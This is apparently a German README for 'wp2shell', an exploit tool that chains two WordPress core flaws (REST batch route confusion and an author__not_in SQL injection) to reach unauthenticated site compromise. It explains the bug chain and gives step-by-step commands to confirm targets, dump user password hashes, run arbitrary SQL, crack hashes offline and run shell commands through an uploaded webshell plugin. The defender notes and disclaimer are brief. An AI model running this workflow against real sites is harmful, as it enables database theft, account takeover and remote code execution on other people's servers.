
Nicht authentifizierte Remote Code Execution (RCE) im WordPress-Kern ermöglicht es Angreifern, ohne Anmeldung beliebigen Code auszuführen, indem sie CVE-2026-63030 und CVE-2026-60137 miteinander verketten, was möglicherweise zur vollständigen Kompromittierung der Website führt.
Nicht authentifizierte Remote-Code-Ausführung für WordPress-Core-POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell-Exploit für eine kritische Sicherheitslücken-Kette im WordPress-Core. Er kombiniert einen REST-API-Batch-Routen-Confusion-Bug mit einer SQL-Injection in WP_Query, um auf verwundbaren WordPress-Installationen eine nicht authentifizierte Remote-Code-Ausführung zu erreichen.
| Detail | Information |
|---|---|
| CVEs | CVE-2026-63030 (REST-Batch-Routen-Confusion) + CVE-2026-60137 (author__not_in SQLi) |
| Betroffen | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Behoben | 6.9.5, 7.0.2 |
| Authentifizierung erforderlich | Keine — nicht authentifiziert |
| CVSS | Kritisch (RCE-Kette) |
| Entdeckt von | Adam Kues (Assetnote / Searchlight Cyber) |
| Abhängigkeiten | Python 3.8+ — nur Standardbibliothek |
Der Exploit kombiniert zwei Bugs im WordPress-Core:
CVE-2026-60137 — SQL-Injection – Wenn author__not_in als String statt als Array übergeben wird, überspringt WordPress die is_array()-Sanitisierungsprüfung und interpoliert den Rohwert in eine NOT IN (...)-SQL-Klausel.
CVE-2026-63030 — Batch-Routen-Confusion – Der Endpunkt /wp-json/batch/v1 baut parallel $matches- und $validation-Arrays auf. Eine fehlerhafte Teilanfrage wird an $validation, aber nicht an $matches angehängt, was zu einer +1-Indexverschiebung führt. Teilanfrage i wird mit dem Handler von Teilanfrage i+1 verarbeitet.
Zusammengekettet: Eine POST /wp/v2/posts-Anfrage, die eine innere GET /wp/v2/users-Anfrage mit einem author_exclude-String enthält, umgeht sowohl die Methoden-Allowlist als auch die Eingabesanitisierung. Der String gelangt als author__not_in in WP_Query und wird in SQL interpoliert — das ergibt nicht authentifizierte blinde SQL-Injection.
Von dort aus kann das Tool:
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
Das war's. Es sind keine Pakete von Drittanbietern erforderlich.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Startet ein interaktives Menü mit allen Funktionen, die über nummerierte Optionen verfügbar sind.
check — Sicherheitslücke bestätigen (sicher)Führt eine Zeitverzögerungsprüfung durch, um die Ausnutzbarkeit zu bestätigen. Liest keine Daten und verändert nichts.
./wp2shell.py http://target.com check
read — Daten extrahieren (blinde SQL-Injection)Extrahiert Informationen aus der Datenbank mithilfe zeitbasierter blinder SQL-Injection.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Remote-Code-AusführungErfordert gültige Administrator-Anmeldedaten. Die SQL-Injection kann den Passwort-Hash wiederherstellen, aber du musst das wiederhergestellte Klartext-Passwort angeben.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Zweig | Betroffen | Behoben |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (nur SQLi, kein RCE) | 6.8.6 |
Versionen vor 6.9.0 sind nicht von der vollständigen RCE-Kette betroffen.
Für Verteidiger:
POST /wp-json/batch/v1-Anfragen mit verschachtelten requests-Bodys404 auf der Batch-Route bedeutet nicht immer „behoben“ — es kann auch bedeuten, dass eine WAF/ein CDN den anonymen REST-API-Zugriff blockiertDieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht.
| Feature | Beschreibung |
|---|
| Sicherheitslücken-Check | Sicherer Zeitverzögerungs-Test — liest keine Daten, verändert nichts |
| Datenextraktion | Blinde SQL-Injection mit Binary-Search-Optimierung für effiziente Extraktion |
| Benutzer-Hash-Dump | Extrahiert user_login- und user_pass-Hashes aus wp_users |
| Remote-Code-Ausführung | Als Admin authentifizieren, Webshell-Plugin hochladen, Befehle ausführen |
| Interaktive Shell | Andauernde Befehlsausführungssitzung |
| Farbige Ausgabe | Klare visuelle Rückmeldung für Scan-Ergebnisse |
| Keine Abhängigkeiten | Verwendet nur Pythons Standardbibliothek |
| Option | Beschreibung |
|---|
--users | Extrahiert user_login und user_pass aus wp_users |
--database | Extrahiert den Namen der aktuellen Datenbank |
--version | Extrahiert die MySQL-Version |
--query "SQL" | Führt eine benutzerdefinierte SQL-Abfrage aus (Blind-Extraktion) |
--user USER | Admin-Benutzername für RCE |
--password PASS | Admin-Passwort für RCE (Klartext, per SQLi wiederhergestellt) |
--cmd CMD | Befehl, der über die Webshell ausgeführt werden soll |